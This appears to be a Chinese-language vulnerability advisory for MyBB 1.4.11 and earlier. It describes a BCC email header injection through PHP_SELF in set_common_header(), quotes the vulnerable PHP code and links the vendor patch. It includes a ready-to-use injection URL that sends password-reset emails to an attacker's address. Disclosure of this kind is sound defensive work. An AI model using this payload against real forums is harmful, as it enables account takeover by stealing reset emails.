MyBB set_common_header()邮件BCC头注入漏洞
影响版本:
MyBB <= 1.4.11
漏洞描述:
BUGTRAQ ID: 39400
MyBB是一款流行的Web论坛程序。
MyBB的口令重置实现中存在邮件注入漏洞,远程攻击者可以通过简单的URL控制就可以向BCC:邮件头中注入代码,将保密的口令重置邮件发送到BCC: 头所指向的邮箱。
在MailHandler类的set_common_header()方式中,以下代码负责向所有发出的邮件(包括口令重置邮件)中添加一些常用的头:
$this->headers .= "Message-ID: <{$msg_id}>{$this->delimiter}";
$this->headers .= "Content-Transfer-Encoding: 8bit{$this->delimiter}";
$this->headers .= "X-Priority: 3{$this->delimiter}";
$this->headers .= "X-MSMail-Priority: Normal{$this->delimiter}";
$this->headers .= "X-Mailer: MyBB{$this->delimiter}";
if(defined("IN_ADMINCP"))
{
...
}
$this->headers .= "X-MyBB-Script:
{$http_host}{$_SERVER['PHP_SELF']}{$this->delimiter}";
$this->headers .= "MIME-Version: 1.0{$this->delimiter}";
上述代码向邮件中所添加的X-MyBB-Script头中包含有$_SERVER['PHP_SELF']变量的内容。PHP_SELF不但包含有文档根目录相关的路径,还包括有Apache PATH_INFO等扩展名,因此可以被恶意用户控制。通过调用以下MyBB PHP脚本:
attacker@example.com%0ax:" target="_blank">http://example.com/MyBB/index.php/%0aBCC:attacker@example.com%0ax:
就可以向这个脚本所发送的所有邮件添加任意BCC头。
<*参考
Stefan Esser (s.esser@ematters.de)
http://secunia.com/advisories/39378/
http://marc.info/?l=bugtraq&m=127120955724879&w=2
*>
安全建议:
厂商补丁:
MyBB
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://blog.mybboard.net/2010/04/13/mybb-1-4-12-released-security-maintenance-update/